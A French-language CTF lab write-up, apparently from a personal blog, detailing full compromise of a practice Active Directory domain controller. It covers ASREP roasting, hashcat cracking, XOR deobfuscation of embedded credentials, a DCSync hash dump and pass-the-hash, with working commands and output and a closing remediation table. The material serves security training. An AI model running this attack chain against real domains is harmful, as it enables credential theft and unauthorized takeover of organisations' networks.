ZNote Logo
ZNote
Pentest LabseasyCreedCTF
07-07-2026
10 min

Lab NtDomix : ASREP Roasting, Reverse XOR et DCSync vers l'Administration d'un DC

Pentest black-box d'un domaine Active Directory appartenant à une entreprise de sauvegarde : reconnaissance web révélant une convention de nommage des comptes de service, ASREP Roasting sur VE-NTDC01, accès WinRM, découverte d'un mot de passe obfusqué en XOR dans un fichier source C, déobfuscation en Python, DCSync via vaultengine3.5 et accès Administrateur par Pass-the-Hash.

Active Directory
ASREP Roasting
Evil-WinRM
XOR Obfuscation
DCSync
Pass-the-Hash
Kerberos
CreedCTF
Pentest
Windows

Contexte et Objectifs

ChampDétail
PlateformeCreedCTF
LienAccéder au lab
CibleNTDC01.ntdomix.local, 192.168.203.29
OSWindows Server 2025 (Build 26100)
Domainentdomix.local
TypeBlack-box internal pentest, aucun credential
DifficultéFacile

Scénario : Ntdomix est une entreprise spécialisée dans la sauvegarde et la continuité d'activité. Son environnement Active Directory est central dans la gestion des utilisateurs et des permissions. L'objectif est d'identifier les mauvaises configurations et d'escalader jusqu'aux droits Administrateur du domaine.

Kill chain :

Sortie
HTTP → code source → Flag 1 + convention VE-<NOM_MACHINE>
        │
        ▼
SMB anonyme/guest → refusé
        │
        ▼
ASREP Roasting VE-NTDC01 → hash cracké → NTDX1960gandalf
        │
        ▼
Evil-WinRM → C:\VaultEngine\3.5\engine.c → Flag 2 + XOR obfusqué
        │
        ▼
Déobfuscation Python → vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#
        │
        ▼
DCSync → hash Administrateur
        │
        ▼
Evil-WinRM PtH → Flag 3

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 192.168.203.29 -- -sC -sV -Pn

Output :

Sortie
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Ntdomix - Sauvegarde & Protection des Données
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
                              (Domain: ntdomix.local)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: NTDOMIX
|   NetBIOS_Computer_Name: NTDC01
|   DNS_Domain_Name: ntdomix.local
|   DNS_Computer_Name: NTDC01.ntdomix.local
|   Product_Version: 10.0.26100
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf        .NET Message Framing

Host script results:
| smb2-security-mode:
|_  Message signing enabled and required
|_clock-skew: mean: 59m58s, deviation: 0s, median: 59m58s

Analyse :

La combinaison DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), kpasswd (464) et RPC over HTTP (593) est la signature d'un Contrôleur de Domaine Active Directory. Le domaine ntdomix.local et le nom de machine NTDC01 sont directement exposés.

Observations importantes :

Message signing enabled and required : la signature SMB est obligatoire. Le NTLM Relay est impossible.

clock-skew: 59m58s : décalage d'horloge de presque une heure. C'est dans la tolérance Kerberos de 5 minutes... à condition de synchroniser notre horloge avec la cible avant d'utiliser Kerberos.

WinRM (5985) : si on obtient des credentials valides, un accès shell via Evil-WinRM est possible.

Un port inhabituel pour un DC : 80/tcp, Microsoft IIS. Un site web tourne sur ce DC. C'est le premier endroit à explorer.

On ajoute les entrées dans /etc/hosts :

Commande
bash
echo "192.168.203.29 ntdomix.local NTDC01.ntdomix.local NTDC01" | sudo tee -a /etc/hosts

2. Reconnaissance Web (HTTP 80)

Sortie
http://ntdomix.local

Page d'accueil Ntdomix

Le site vitrine de l'entreprise. On inspecte le code source (Ctrl+U) et on parcourt les liens :

Code source révélant une seconde page

Un lien vers une seconde page est présent dans le code source. On y accède :

Seconde page avec flag en commentaire

Deux découvertes critiques sur cette page :

1. Flag 1 est présent dans le code source en tant que commentaire HTML.

2. La convention de nommage des comptes de service est documentée :

Sortie
VaultEngine utilise un compte de service par machine, nommé selon le schéma :
VE-<NOM_MACHINE>

Convention de nommage VaultEngine

Notre DC s'appelle NTDC01. Son compte de service associé est donc VE-NTDC01. On note ce username pour la phase d'attaque Kerberos.


3. Énumération SMB

Commande
bash
nxc smb ntdomix.local -u '' -p '' --smb-timeout 30
Sortie
SMB  NTDC01  [-] ntdomix.local\: STATUS_ACCESS_DENIED
Commande
bash
nxc smb ntdomix.local -u 'guest' -p '' --smb-timeout 30
Sortie
SMB  NTDC01  [-] ntdomix.local\guest: STATUS_LOGON_FAILURE

Les connexions anonyme et invitée sont toutes les deux refusées. Pas d'énumération de partages ni d'utilisateurs possible sans credentials. On passe directement à l'attaque Kerberos avec le seul username qu'on possède.


4. ASREP Roasting sur VE-NTDC01

Comprendre l'Attaque

Normalement, pour obtenir un ticket Kerberos, un utilisateur doit d'abord prouver son identité en envoyant un timestamp chiffré avec son hash de mot de passe, c'est la pré-authentification Kerberos. Si un compte a cette option désactivée (Do not require Kerberos preauthentication), le KDC envoie un AS-REP sans vérification préalable, et cet AS-REP contient des données chiffrées avec le hash du mot de passe de l'utilisateur, crackables hors ligne.

Exploitation

Commande
bash
impacket-GetNPUsers ntdomix.local/VE-NTDC01 \
  -no-pass \
  -format hashcat \
  -dc-ip 192.168.203.29 \
  -outputfile ASREProastables.txt

VE-NTDC01 vulnérable à l'ASREP Roasting

Sortie
$krb5asrep$23$VE-NTDC01@NTDOMIX.LOCAL:...hash...

Le compte VE-NTDC01 a la pré-authentification désactivée. Le hash AS-REP est récupéré. On le craque avec hashcat :

Commande
bash
hashcat -m 18200 -a 0 ASREProastables.txt /usr/share/wordlists/rockyou.txt

Hash cracké

Sortie
VE-NTDC01 : NTDX1960gandalf

5. Accès WinRM en tant que VE-NTDC01

Enumération SMB avec Credentials

Commande
bash
nxc smb ntdomix.local -u 'VE-NTDC01' -p 'NTDX1960gandalf' --users --smb-timeout 30
Sortie
SMB         192.168.203.29  445    NTDC01           [*] Windows 11 / Server 2025 Build 26100 x64 (name:NTDC01) (domain:ntdomix.local) (signing:True) (SMBv1:None)
SMB         192.168.203.29  445    NTDC01           [+] ntdomix.local\VE-NTDC01:NTDX1960gandalf
SMB         192.168.203.29  445    NTDC01           -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         192.168.203.29  445    NTDC01           Administrateur                2025-11-24 14:17:53 0       Compte d’utilisateur d’administration
SMB         192.168.203.29  445    NTDC01           Invité                        <never>             0       Compte d’utilisateur invité
SMB         192.168.203.29  445    NTDC01           krbtgt                        2025-11-24 15:38:26 0       Compte de service du centre de distribution de clés
SMB         192.168.203.29  445    NTDC01           ve-ntdc01                     2025-11-25 12:18:19 0       Compte métier interne de la solution VaultEngine3.5
SMB         192.168.203.29  445    NTDC01           vaultengine3.5                2025-11-25 13:31:00 0       Compte métier interne pour solution de sauvegarde (DCSync)
SMB         192.168.203.29  445    NTDC01           [*] Enumerated 5 local users: NTDOMIX

La liste des utilisateurs du domaine est récupérée avec succès, confirmant que les credentials sont valides et que le compte a des droits de lecture sur l'annuaire.

Connexion Evil-WinRM

Commande
bash
evil-winrm -u VE-NTDC01 -p 'NTDX1960gandalf' -i 192.168.203.29

On explore le système de fichiers depuis la racine C:\ :

Commande
powershell
*Evil-WinRM* PS C:\Users\ve-ntdc01\Documents> dir C:\
Sortie
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        11/24/2025   4:54 PM                inetpub
d-r---        11/24/2025   3:10 PM                Program Files
d-r---          4/1/2024   9:11 AM                Program Files (x86)
d-r---        11/25/2025   2:30 PM                Users
d-----        11/25/2025   1:31 PM                VaultEngine
d-----        11/25/2025  12:32 PM                Windows
-a----        11/24/2025   5:32 PM          18392 pwpolicy.inf

Le dossier VaultEngine est non standard. On l'explore :

Commande
powershell
*Evil-WinRM* PS C:\> dir VaultEngine
Sortie
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        11/25/2025   1:32 PM                3.5
Commande
powershell
*Evil-WinRM* PS C:\> dir VaultEngine\3.5
Sortie
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/25/2025   2:48 PM          11328 engine.c

Un fichier source C. On l'ouvre :

Commande
powershell
*Evil-WinRM* PS C:\> Get-Content VaultEngine\3.5\engine.c

6. Analyse de engine.c et Déobfuscation XOR

Ce que Révèle le Fichier Source

En-tête du fichier engine.c

Sortie
c
/*
 * VaultEngine 3.5 - Demo client
 *
 * NOTE IMPORTANTE :
 *  - Ce code simule un client de sauvegarde "VaultEngine 3.5"
 *  - Un compte de backup "vaultengine3.5" est caché dans le binaire
 *  - Le mot de passe est stocké obfusqué (XOR) et reconstruit en mémoire
 *  - Ne JAMAIS utiliser ce genre de pratique en prod :)
 */

Le fichier contient délibérément les credentials du compte vaultengine3.5 obfusqués par XOR. On parcourt le code et on trouve la section d'obfuscation :

Section obfuscation du code source

Sortie
c
/* Technique (XOR) : clear_char = obfuscated_byte ^ KEY */

static const uint8_t VE_OBF_USER[] = {
    65, 86, 66, 91, 67, 82, 89, 80, 94, 89, 82, 4, 25, 2
};

//FLAG2{...}

static const uint8_t VE_OBF_PASS[] = {
    20, 117, 4, 100, 99, 26, 113, 7, 101, 26, 117, 119, 116,
    124, 66, 103, 26, 100, 7, 123, 66, 99, 126, 7, 121, 20
};

#define VE_XOR_KEY 0x37

Flag 2 est présent en commentaire directement dans le code source.

Comprendre l'Obfuscation XOR

L'obfuscation XOR repose sur une propriété mathématique fondamentale : l'opération XOR est symétrique.

Sortie
Chiffrement :  clair ^ clé = obfusqué
Déchiffrement: obfusqué ^ clé = clair

La même opération avec la même clé chiffre et déchiffre. Ici, chaque octet du tableau VE_OBF_PASS a été XORé avec 0x37 (55 en décimal) pour produire l'octet obfusqué. Pour retrouver le mot de passe, on XORe à nouveau chaque octet avec 0x37.

Déobfuscation en Python

Commande
python
bytes_pass = [
    20, 117, 4, 100, 99, 26, 113, 7, 101, 26,
    117, 119, 116, 124, 66, 103, 26, 100, 7, 123,
    66, 99, 126, 7, 121, 20
]
key = 0x37

password = "".join(chr(b ^ key) for b in bytes_pass)
print(f"Le mot de passe est : {password}")
Sortie
Le mot de passe est : #B3ST-F0R-B@CKuP-S0LuTI0N#
Sortie
vaultengine3.5 : #B3ST-F0R-B@CKuP-S0LuTI0N#

Validation des Credentials

Commande
bash
nxc smb ntdomix.local -u 'vaultengine3.5' -p '#B3ST-F0R-B@CKuP-S0LuTI0N#' --smb-timeout 30
Sortie
SMB  NTDC01  [+] ntdomix.local\vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#

Credentials valides. En consultant la description du compte dans l'AD, on note qu'il possède les droits DCSync (Replicating Directory Changes). On ne cherche pas plus loin.


7. DCSync avec vaultengine3.5

Comprendre DCSync

Dans un Active Directory multi-DC, les contrôleurs de domaine se répliquent mutuellement via le protocole DRSUAPI. Un compte disposant des droits Replicating Directory Changes peut imiter ce comportement et demander la réplication de n'importe quel objet, y compris les hashes NTLM de tous les comptes. impacket-secretsdump automatise cette demande entièrement par le réseau, sans toucher au fichier NTDS.dit sur le disque.

Commande
bash
impacket-secretsdump \
  'ntdomix.local/vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#@192.168.203.29' \
  -just-dc \
  -dc-ip 192.168.203.29

Output :

Sortie
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrateur:500:aad3b435b51404eeaad3b435b51404ee:212de7626cb77706c546bcce41cb79b1:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5e1d3bfb1d2ea7a89c1d006b2f44f1cd:::
ntdomix.local\ve-ntdc01:1126:aad3b435b51404eeaad3b435b51404ee:0de6fcd408493efbbc249528e824f725:::
ntdomix.local\vaultengine3.5:1127:aad3b435b51404eeaad3b435b51404ee:272cbb119f347f20e04a4904a9cbb39c:::
NTDC01$:1000:aad3b435b51404eeaad3b435b51404ee:e2945fa626192064613607881a59428c:::

[*] Cleaning up...

Hash NT de l'Administrateur : 212de7626cb77706c546bcce41cb79b1

Validation du Hash

Commande
bash
nxc smb ntdomix.local \
  -u 'Administrateur' \
  -H 'aad3b435b51404eeaad3b435b51404ee:212de7626cb77706c546bcce41cb79b1' \
  --shares --smb-timeout 30

Pass-the-Hash Pwn3d!

Sortie
SMB  NTDC01  [+] ntdomix.local\Administrateur:212de7626cb77706c546bcce41cb79b1 (Pwn3d!)

8. Accès Administrateur et Flag 3

Connexion Evil-WinRM par Pass-the-Hash

Commande
bash
evil-winrm -u Administrateur -i 192.168.203.29 -H '212de7626cb77706c546bcce41cb79b1'

Connexion Evil-WinRM en tant qu'Administrateur

Commande
powershell
*Evil-WinRM* PS C:\Users\Administrateur\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrateur\Desktop> dir
Sortie
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/25/2025   2:30 PM            42  flag3.txt
Commande
powershell
*Evil-WinRM* PS C:\Users\Administrateur\Desktop> Get-Content flag3.txt

Flag 3

Flag 3 récupéré. Compromission totale du domaine.


9. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan           → NTDC01.ntdomix.local, IIS 80, WinRM 5985, signing requis
2. HTTP code source   → page cachée → Flag 1 + convention VE-<NOM_MACHINE>
3. SMB anonyme/guest  → refusés
4. ASREP Roasting     → VE-NTDC01 sans pré-auth → hash cracké → NTDX1960gandalf
5. Evil-WinRM VE-NTDC01 → C:\VaultEngine\3.5\engine.c
6. engine.c           → Flag 2 + XOR VE_OBF_PASS + clé 0x37
7. Python XOR         → vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#
8. DCSync             → hash Administrateur 212de7626cb77706c546bcce41cb79b1
9. Evil-WinRM PtH     → nt authority\system → Flag 3

Remédiation

VecteurProblèmeRemédiation
Informations sensibles en HTTPConvention de nommage des comptes de service exposée sur un site publicNe jamais documenter des conventions de nommage internes sur des sites accessibles. Les schémas de nommage prédictibles permettent l'énumération sans accès au domaine
ASREP Roasting sur VE-NTDC01La pré-authentification Kerberos est désactivée sur un compte de serviceActiver la pré-authentification sur tous les comptes. Audit régulier : Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Mot de passe faible VE-NTDC01NTDX1960gandalf est présent dans rockyou.txtImposer des mots de passe de 25+ caractères générés aléatoirement pour tous les comptes de service, ou migrer vers des gMSA (Group Managed Service Accounts)
Hardcoded credentials obfusquésLe mot de passe de vaultengine3.5 est stocké XOR dans un fichier source déployé sur le serveurNe jamais embarquer de credentials dans du code source, même obfusqués. Utiliser des coffres de secrets (HashiCorp Vault, Windows DPAPI, Azure Key Vault). L'obfuscation XOR n'est pas du chiffrement
Droits DCSync sur vaultengine3.5Un compte de service applicatif possède les droits de réplication de l'annuaireLes droits DCSync doivent être réservés aux seuls DCs légitimes. Auditer régulièrement les comptes avec Replicating Directory Changes dans les ACL de la partition de domaine
Pass-the-Hash possibleL'authentification NTLM est acceptée sur WinRMActiver Protected Users Security Group pour les comptes d'administration, désactiver NTLM au profit de Kerberos uniquement via GPO

[!NOTE] La particularité de ce lab est que le vecteur d'entrée initial, la convention de nommage des comptes de service, vient du site web de l'entreprise elle-même. Sans cette information, VE-NTDC01 est un username difficile à deviner. La publication d'informations organisationnelles internes sur des canaux publics est souvent sous-estimée comme risque de sécurité. Dans un engagement réel, la phase OSINT précède toujours la phase technique.


Writeup rédigé par Zcook